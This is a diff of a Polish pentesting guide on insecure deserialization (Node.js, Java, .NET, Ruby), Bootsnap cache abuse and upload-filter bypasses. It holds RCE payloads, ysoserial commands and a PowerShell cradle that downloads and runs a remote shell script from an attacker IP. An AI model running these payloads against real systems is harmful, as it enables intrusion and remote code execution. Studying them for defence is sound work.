Inny **"magiczny" sposób na wywołanie funkcji** bez bezpośredniego jej wywoływania to **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (obietnica). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **obietnicę** z **właściwością** o nazwie **"then" typu funkcja**, zostanie on **wykonany** tylko dlatego, że jest zwracany przez inną obietnicę. _Śledź_ [_**ten link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _po więcej informacji._
 | 
			
		||||
Inny **"magiczny" sposób na wywołanie funkcji** bez bezpośredniego jej wywoływania to **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (obietnica). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **obietnicę** z **właściwością** o nazwie **"then" typu funkcji**, zostanie on **wykonany** tylko dlatego, że jest zwracany przez inną obietnicę. _Śledź_ [_**ten link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _po więcej informacji._
 | 
			
		||||
```javascript
 | 
			
		||||
// If you can compromise p (returned object) to be a promise
 | 
			
		||||
// it will be executed just because it's the return object of an async function:
 | 
			
		||||
@ -223,7 +223,7 @@ Obiekt **serializowany** będzie wyglądał następująco:
 | 
			
		||||
```bash
 | 
			
		||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
 | 
			
		||||
```
 | 
			
		||||
Możesz zobaczyć w przykładzie, że gdy funkcja jest serializowana, flaga `_$$ND_FUNC$$_` jest dołączana do obiektu serializowanego.
 | 
			
		||||
Możesz zobaczyć w przykładzie, że gdy funkcja jest serializowana, flaga `_$$ND_FUNC$$_` jest dołączana do serializowanego obiektu.
 | 
			
		||||
 | 
			
		||||
W pliku `node-serialize/lib/serialize.js` możesz znaleźć tę samą flagę i sposób, w jaki kod jej używa.
 | 
			
		||||
 | 
			
		||||
@ -233,8 +233,8 @@ W pliku `node-serialize/lib/serialize.js` możesz znaleźć tę samą flagę i s
 | 
			
		||||
 | 
			
		||||
Jak możesz zobaczyć w ostatnim kawałku kodu, **jeśli flaga jest znaleziona**, używane jest `eval` do deserializacji funkcji, więc zasadniczo **dane wejściowe użytkownika są używane wewnątrz funkcji `eval`**.
 | 
			
		||||
 | 
			
		||||
Jednakże, **samego serializowania** funkcji **nie wykona**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, co jest bardzo **mało prawdopodobne**.\
 | 
			
		||||
Tak czy inaczej, możesz po prostu **zmodyfikować obiekt serializowany**, **dodając nawiasy**, aby automatycznie wykonać serializowaną funkcję, gdy obiekt jest deserializowany.\
 | 
			
		||||
Jednakże, **po prostu serializacja** funkcji **nie spowoduje jej wykonania**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, co jest bardzo **mało prawdopodobne**.\
 | 
			
		||||
Tak czy inaczej, możesz po prostu **zmodyfikować serializowany obiekt**, **dodając nawiasy**, aby automatycznie wykonać serializowaną funkcję, gdy obiekt zostanie deserializowany.\
 | 
			
		||||
W następnym kawałku kodu **zauważ ostatni nawias** i jak funkcja `unserialize` automatycznie wykona kod:
 | 
			
		||||
```javascript
 | 
			
		||||
var serialize = require("node-serialize")
 | 
			
		||||
@ -254,7 +254,7 @@ Możesz [**znaleźć tutaj**](https://opsecx.com/index.php/2017/02/08/exploiting
 | 
			
		||||
 | 
			
		||||
### [funcster](https://www.npmjs.com/package/funcster)
 | 
			
		||||
 | 
			
		||||
Ciekawym aspektem **funcster** jest niedostępność **standardowych obiektów wbudowanych**; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, prowadząc do wyjątków takich jak `"ReferenceError: console is not defined"` przy użyciu poleceń takich jak `console.log()` lub `require(something)`.
 | 
			
		||||
Ciekawym aspektem **funcster** jest niedostępność **standardowych obiektów wbudowanych**; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak `"ReferenceError: console is not defined"` przy użyciu poleceń takich jak `console.log()` lub `require(something)`.
 | 
			
		||||
 | 
			
		||||
Pomimo tego ograniczenia, przywrócenie pełnego dostępu do kontekstu globalnego, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe dzięki specyficznemu podejściu. Wykorzystując bezpośrednio kontekst globalny, można obejść to ograniczenie. Na przykład, dostęp można przywrócić za pomocą następującego fragmentu:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -306,14 +306,14 @@ deserialize(test)
 | 
			
		||||
 | 
			
		||||
### Biblioteka Cryo
 | 
			
		||||
 | 
			
		||||
Na poniższych stronach znajdziesz informacje o tym, jak nadużywać tej biblioteki do wykonywania dowolnych poleceń:
 | 
			
		||||
Na poniższych stronach można znaleźć informacje na temat nadużywania tej biblioteki do wykonywania dowolnych poleceń:
 | 
			
		||||
 | 
			
		||||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
 | 
			
		||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
 | 
			
		||||
 | 
			
		||||
## Java - HTTP
 | 
			
		||||
 | 
			
		||||
W Javie **wywołania deserializacji są wykonywane podczas procesu deserializacji**. To wykonanie może być wykorzystywane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania, prowadząc do potencjalnego wykonania szkodliwych działań.
 | 
			
		||||
W Javie **wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji**. To wykonanie może być wykorzystywane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.
 | 
			
		||||
 | 
			
		||||
### Odciski palców
 | 
			
		||||
 | 
			
		||||
@ -377,7 +377,7 @@ Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby **wy
 | 
			
		||||
**Test Serializacji**
 | 
			
		||||
 | 
			
		||||
Nie wszystko polega na sprawdzaniu, czy jakakolwiek podatna biblioteka jest używana przez serwer. Czasami możesz być w stanie **zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole** (może przyznać ci uprawnienia administratora w aplikacji webowej).\
 | 
			
		||||
Jeśli znajdziesz zserializowany obiekt java wysyłany do aplikacji webowej, **możesz użyć** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), **aby wydrukować w bardziej czytelnej formie obiekt serializacji, który jest wysyłany**. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.
 | 
			
		||||
Jeśli znajdziesz zserializowany obiekt java wysyłany do aplikacji webowej, **możesz użyć** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), **aby wydrukować w bardziej czytelnej formie zserializowany obiekt, który jest wysyłany**. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.
 | 
			
		||||
 | 
			
		||||
### **Eksploit**
 | 
			
		||||
 | 
			
		||||
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
 | 
			
		||||
# Base64 encode payload in base64
 | 
			
		||||
base64 -w0 payload
 | 
			
		||||
```
 | 
			
		||||
Kiedy tworzysz ładunek dla **java.lang.Runtime.exec()**, **nie możesz używać znaków specjalnych** takich jak ">" lub "|" do przekierowania wyjścia z wykonania, "$()" do wykonywania poleceń ani nawet **przekazywać argumentów** do polecenia oddzielonych **spacjami** (możesz zrobić `echo -n "hello world"`, ale nie możesz zrobić `python2 -c 'print "Hello world"'`). Aby poprawnie zakodować ładunek, możesz [użyć tej strony](http://www.jackson-t.ca/runtime-exec-payloads.html).
 | 
			
		||||
Podczas tworzenia ładunku dla **java.lang.Runtime.exec()** **nie możesz używać znaków specjalnych** takich jak ">" lub "|" do przekierowania wyjścia z wykonania, "$()" do wykonywania poleceń ani nawet **przekazywać argumentów** do polecenia oddzielonych **spacjami** (możesz zrobić `echo -n "hello world"`, ale nie możesz zrobić `python2 -c 'print "Hello world"'`). Aby poprawnie zakodować ładunek, możesz [użyć tej strony](http://www.jackson-t.ca/runtime-exec-payloads.html).
 | 
			
		||||
 | 
			
		||||
Możesz użyć następnego skryptu do stworzenia **wszystkich możliwych ładunków do wykonania kodu** dla Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:
 | 
			
		||||
```python
 | 
			
		||||
@ -455,7 +455,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 | 
			
		||||
```
 | 
			
		||||
#### serialkillerbypassgadgets
 | 
			
		||||
 | 
			
		||||
Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **razem z ysoserial, aby stworzyć więcej exploitów**. Więcej informacji na temat tego narzędzia znajduje się w **prezentacji z wykładu**, w którym narzędzie zostało zaprezentowane: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
 | 
			
		||||
Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **razem z ysoserial, aby stworzyć więcej exploitów**. Więcej informacji na temat tego narzędzia znajduje się w **prezentacji z wykładu**, gdzie narzędzie zostało zaprezentowane: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
 | 
			
		||||
 | 
			
		||||
#### marshalsec
 | 
			
		||||
 | 
			
		||||
@ -493,11 +493,11 @@ Przeczytaj więcej o tej bibliotece Java JSON: [https://www.alphabot.com/securit
 | 
			
		||||
 | 
			
		||||
Java używa dużo serializacji do różnych celów, takich jak:
 | 
			
		||||
 | 
			
		||||
- **HTTP requests**: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp.
 | 
			
		||||
- **Żądania HTTP**: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp.
 | 
			
		||||
- **RMI (Remote Method Invocation)**: Protokół RMI w Javie, który w całości opiera się na serializacji, jest fundamentem komunikacji zdalnej w aplikacjach Java.
 | 
			
		||||
- **RMI over HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów.
 | 
			
		||||
- **RMI przez HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów.
 | 
			
		||||
- **JMX (Java Management Extensions)**: JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
 | 
			
		||||
- **Custom Protocols**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów.
 | 
			
		||||
- **Niestandardowe protokoły**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów.
 | 
			
		||||
 | 
			
		||||
### Prevention
 | 
			
		||||
 | 
			
		||||
@ -568,11 +568,11 @@ return Status.ALLOWED;
 | 
			
		||||
};
 | 
			
		||||
ObjectInputFilter.Config.setSerialFilter(filter);
 | 
			
		||||
```
 | 
			
		||||
**Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontrolowania i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak białe i czarne listy klas, analizowanie obiektów zserializowanych przed deserializacją oraz wdrażanie niestandardowych strategii serializacji.
 | 
			
		||||
**Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontrolowania i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak białe i czarne listy klas, analizowanie obiektów serializowanych przed deserializacją oraz wdrażanie niestandardowych strategii serializacji.
 | 
			
		||||
 | 
			
		||||
- **NotSoSerial** przechwytuje procesy deserializacji, aby zapobiec wykonaniu nieufnego kodu.
 | 
			
		||||
- **jdeserialize** umożliwia analizę zserializowanych obiektów Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości.
 | 
			
		||||
- **Kryo** to alternatywna ramka do serializacji, która kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.
 | 
			
		||||
- **jdeserialize** umożliwia analizę serializowanych obiektów Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości.
 | 
			
		||||
- **Kryo** to alternatywna ramka serializacji, która kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.
 | 
			
		||||
 | 
			
		||||
### Odniesienia
 | 
			
		||||
 | 
			
		||||
@ -610,12 +610,12 @@ Istnieje kilka produktów wykorzystujących to middleware do wysyłania wiadomo
 | 
			
		||||
 | 
			
		||||
### Wykorzystanie
 | 
			
		||||
 | 
			
		||||
Tak więc, zasadniczo istnieje **wiele usług korzystających z JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zwykle będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty zserializowane, które będą deserializowane przez konsumenta/subskrybenta**.\
 | 
			
		||||
Tak więc, zasadniczo istnieje **wiele usług wykorzystujących JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta**.\
 | 
			
		||||
Oznacza to, że w tym wykorzystaniu wszystkie **klienty, które będą korzystać z tej wiadomości, zostaną zainfekowane**.
 | 
			
		||||
 | 
			
		||||
Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność.
 | 
			
		||||
Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność.
 | 
			
		||||
 | 
			
		||||
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów zserializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli jakikolwiek z używanych gadżetów znajduje się w podatnej aplikacji.
 | 
			
		||||
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli jakikolwiek z używanych gadżetów znajduje się w podatnej aplikacji.
 | 
			
		||||
 | 
			
		||||
### Odniesienia
 | 
			
		||||
 | 
			
		||||
@ -639,7 +639,7 @@ Należy skupić się na serializerach, które pozwalają na określenie typu prz
 | 
			
		||||
 | 
			
		||||
#### BlackBox
 | 
			
		||||
 | 
			
		||||
Poszukiwania powinny koncentrować się na ciągu zakodowanym w Base64 **AAEAAAD/////** lub jakimkolwiek podobnym wzorze, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który ma być deserializowany. Może to obejmować, ale nie ogranicza się do, struktur **JSON** lub **XML** zawierających `TypeObject` lub `$type`.
 | 
			
		||||
Poszukiwania powinny być skierowane na ciąg zakodowany w Base64 **AAEAAAD/////** lub jakikolwiek podobny wzór, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który ma być deserializowany. Może to obejmować, ale nie ogranicza się do, struktur **JSON** lub **XML** zawierających `TypeObject` lub `$type`.
 | 
			
		||||
 | 
			
		||||
### ysoserial.net
 | 
			
		||||
 | 
			
		||||
@ -650,8 +650,8 @@ Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, mo
 | 
			
		||||
Główne opcje **ysoserial.net** to: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
 | 
			
		||||
 | 
			
		||||
- **`--gadget`** używane do wskazania gadżetu do nadużycia (wskazuje klasę/funkcję, która będzie nadużywana podczas deserializacji w celu wykonania poleceń).
 | 
			
		||||
- **`--formatter`**, używane do wskazania metody do zserializowania exploita (musisz wiedzieć, która biblioteka jest używana w zapleczu do deserializacji ładunku i użyć tej samej do jego serializacji)
 | 
			
		||||
- **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek przy użyciu **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli uzyskasz surowy ładunek i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać problemy z **kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._
 | 
			
		||||
- **`--formatter`**, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w backendzie do deserializacji ładunku i użyć tej samej do jego serializacji)
 | 
			
		||||
- **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek używając **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli pobierzesz wersję raw i po prostu zakodujesz ją z konsoli linuxowej, możesz napotkać problemy z **kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._
 | 
			
		||||
- **`--plugin`** ysoserial.net obsługuje wtyczki do tworzenia **exploitów dla konkretnych frameworków** jak ViewState
 | 
			
		||||
 | 
			
		||||
#### Więcej parametrów ysoserial.net
 | 
			
		||||
@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 | 
			
		||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 | 
			
		||||
```
 | 
			
		||||
**ysoserial.net** ma również **bardzo interesujący parametr**, który pomaga lepiej zrozumieć, jak działa każdy exploit: `--test`\
 | 
			
		||||
Jeśli wskażesz ten parametr, **ysoserial.net** **spróbuje** **wykorzystać** exploit lokalnie, więc możesz przetestować, czy twój ładunek zadziała poprawnie.\
 | 
			
		||||
Jeśli wskażesz ten parametr, **ysoserial.net** **spróbuje** **wykorzystać** exploit lokalnie, dzięki czemu możesz przetestować, czy twój ładunek zadziała poprawnie.\
 | 
			
		||||
Ten parametr jest pomocny, ponieważ jeśli przejrzysz kod, znajdziesz fragmenty kodu takie jak ten (z [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 | 
			
		||||
```java
 | 
			
		||||
if (inputArgs.Test)
 | 
			
		||||
@ -722,7 +722,7 @@ Aby zminimalizować ryzyko związane z deserializacją w .Net:
 | 
			
		||||
- **Ogranicz typy, które mogą być deserializowane**, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak `System.IO.FileInfo`, które mogą modyfikować właściwości plików serwera, co potencjalnie prowadzi do ataków typu denial of service.
 | 
			
		||||
- **Bądź ostrożny z typami mającymi ryzykowne właściwości**, jak `System.ComponentModel.DataAnnotations.ValidationException` z jego właściwością `Value`, która może być wykorzystana.
 | 
			
		||||
- **Bezpiecznie kontroluj instancjonowanie typów**, aby zapobiec wpływowi atakujących na proces deserializacji, co sprawia, że nawet `DataContractSerializer` lub `XmlSerializer` mogą być podatne.
 | 
			
		||||
- **Wprowadź kontrolę białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
 | 
			
		||||
- **Wdrażaj kontrole białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
 | 
			
		||||
- **Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji** w .Net i upewnij się, że deserializatory nie instancjonują takich typów.
 | 
			
		||||
- **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby uniknąć narażenia znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, na niezaufane źródła danych.
 | 
			
		||||
 | 
			
		||||
@ -815,11 +815,11 @@ require "base64"
 | 
			
		||||
puts "Payload (Base64 encoded):"
 | 
			
		||||
puts Base64.encode64(payload)
 | 
			
		||||
```
 | 
			
		||||
Inne łańcuchy RCE do wykorzystania w Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
 | 
			
		||||
Inna łańcuch RCE do wykorzystania Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
 | 
			
		||||
 | 
			
		||||
### Metoda Ruby .send()
 | 
			
		||||
 | 
			
		||||
Jak wyjaśniono w [**tym raporcie o podatności**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), jeśli jakieś niesanitizowane dane wejściowe użytkownika dotrą do metody `.send()` obiektu ruby, ta metoda pozwala na **wywołanie dowolnej innej metody** obiektu z dowolnymi parametrami.
 | 
			
		||||
Jak wyjaśniono w [**tym raporcie o podatności**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), jeśli nieprzetworzony input od użytkownika dotrze do metody `.send()` obiektu ruby, ta metoda pozwala na **wywołanie dowolnej innej metody** obiektu z dowolnymi parametrami.
 | 
			
		||||
 | 
			
		||||
Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru pozwoli na wykonanie dowolnego kodu:
 | 
			
		||||
```ruby
 | 
			
		||||
@ -854,7 +854,7 @@ Sprawdź, jak można [zanieczyścić klasę Ruby i wykorzystać to tutaj](ruby-c
 | 
			
		||||
 | 
			
		||||
### Zanieczyszczenie _json Ruby
 | 
			
		||||
 | 
			
		||||
Podczas wysyłania w ciele wartości, które nie są haszowalne, jak tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże, atakujący może również ustawić w ciele wartość o nazwie `_json` z dowolnymi wartościami, które chce. Następnie, jeśli backend na przykład sprawdza prawdziwość parametru, ale następnie również używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji.
 | 
			
		||||
Podczas wysyłania w ciele wartości, które nie są haszowalne, jak tablica, zostaną one dodane do nowego klucza o nazwie `_json`. Jednakże, atakujący może również ustawić w ciele wartość o nazwie `_json` z dowolnymi wartościami, które chce. Następnie, jeśli backend na przykład sprawdza prawdziwość parametru, ale także używa parametru `_json` do wykonania jakiejś akcji, może dojść do obejścia autoryzacji.
 | 
			
		||||
 | 
			
		||||
Sprawdź więcej informacji na stronie [zanieczyszczenia _json Ruby](ruby-_json-pollution.md).
 | 
			
		||||
 | 
			
		||||
@ -924,4 +924,40 @@ Ponadto stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony j
 | 
			
		||||
```
 | 
			
		||||
Sprawdź więcej szczegółów w [**oryginalnym poście**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 | 
			
		||||
 | 
			
		||||
### Bootstrap Caching
 | 
			
		||||
 | 
			
		||||
Nie jest to naprawdę luka deserializacji, ale miły trik do wykorzystania pamięci podręcznej bootstrap, aby uzyskać RCE z aplikacji rails z dowolnym zapisem pliku (znajdź pełny [oryginalny post tutaj](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
 | 
			
		||||
 | 
			
		||||
Poniżej znajduje się krótki podsumowanie kroków szczegółowo opisanych w artykule dotyczących wykorzystania luki w zapisie pliku przez nadużycie pamięci podręcznej Bootsnap:
 | 
			
		||||
 | 
			
		||||
- Zidentyfikuj lukę i środowisko
 | 
			
		||||
 | 
			
		||||
Funkcjonalność przesyłania plików w aplikacji Rails pozwala atakującemu na dowolne zapisywanie plików. Chociaż aplikacja działa z ograniczeniami (tylko niektóre katalogi, takie jak tmp, są zapisywalne z powodu użytkownika non-root w Dockerze), nadal pozwala to na zapis do katalogu pamięci podręcznej Bootsnap (zwykle pod tmp/cache/bootsnap).
 | 
			
		||||
 | 
			
		||||
- Zrozum mechanizm pamięci podręcznej Bootsnap
 | 
			
		||||
 | 
			
		||||
Bootsnap przyspiesza czas uruchamiania Rails, przechowując skompilowany kod Ruby, pliki YAML i JSON w pamięci podręcznej. Przechowuje pliki pamięci podręcznej, które zawierają nagłówek klucza pamięci podręcznej (z polami takimi jak wersja Ruby, rozmiar pliku, mtime, opcje kompilacji itp.) po którym następuje skompilowany kod. Ten nagłówek jest używany do walidacji pamięci podręcznej podczas uruchamiania aplikacji.
 | 
			
		||||
 | 
			
		||||
- Zbierz metadane pliku
 | 
			
		||||
 | 
			
		||||
Atakujący najpierw wybiera plik docelowy, który prawdopodobnie jest ładowany podczas uruchamiania Rails (na przykład set.rb z standardowej biblioteki Ruby). Wykonując kod Ruby wewnątrz kontenera, wydobywają krytyczne metadane (takie jak RUBY_VERSION, RUBY_REVISION, rozmiar, mtime i compile_option). Te dane są niezbędne do skonstruowania ważnego klucza pamięci podręcznej.
 | 
			
		||||
 | 
			
		||||
- Oblicz ścieżkę pliku pamięci podręcznej
 | 
			
		||||
 | 
			
		||||
Replikując mechanizm haszowania FNV-1a 64-bit w Bootsnap, określa się poprawną ścieżkę pliku pamięci podręcznej. Ten krok zapewnia, że złośliwy plik pamięci podręcznej jest umieszczany dokładnie tam, gdzie Bootsnap się go spodziewa (np. pod tmp/cache/bootsnap/compile-cache-iseq/).
 | 
			
		||||
 | 
			
		||||
- Przygotuj złośliwy plik pamięci podręcznej
 | 
			
		||||
 | 
			
		||||
Atakujący przygotowuje ładunek, który:
 | 
			
		||||
 | 
			
		||||
- Wykonuje dowolne polecenia (na przykład uruchamia id, aby pokazać informacje o procesie).
 | 
			
		||||
- Usuwa złośliwą pamięć podręczną po wykonaniu, aby zapobiec rekurencyjnemu wykorzystaniu.
 | 
			
		||||
- Ładuje oryginalny plik (np. set.rb), aby uniknąć awarii aplikacji.
 | 
			
		||||
 | 
			
		||||
Ten ładunek jest kompilowany do binarnego kodu Ruby i łączony z starannie skonstruowanym nagłówkiem klucza pamięci podręcznej (używając wcześniej zebranych metadanych i poprawnego numeru wersji dla Bootsnap).
 | 
			
		||||
 | 
			
		||||
- Nadpisz i wyzwól wykonanie
 | 
			
		||||
Korzystając z luki w zapisie pliku, atakujący zapisuje skonstruowany plik pamięci podręcznej w obliczonej lokalizacji. Następnie wyzwalają ponowne uruchomienie serwera (poprzez zapis do tmp/restart.txt, który jest monitorowany przez Pumę). Podczas ponownego uruchamiania, gdy Rails wymaga docelowego pliku, złośliwy plik pamięci podręcznej jest ładowany, co skutkuje zdalnym wykonaniem kodu (RCE).
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -45,11 +45,11 @@ Inne przydatne rozszerzenia:
 | 
			
		||||
- _file.php%00.png%00.jpg_
 | 
			
		||||
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **_**.php**_**, ale** niekoniecznie kończące się na .php** wykona kod):
 | 
			
		||||
- _ex: file.php.png_
 | 
			
		||||
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
 | 
			
		||||
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
 | 
			
		||||
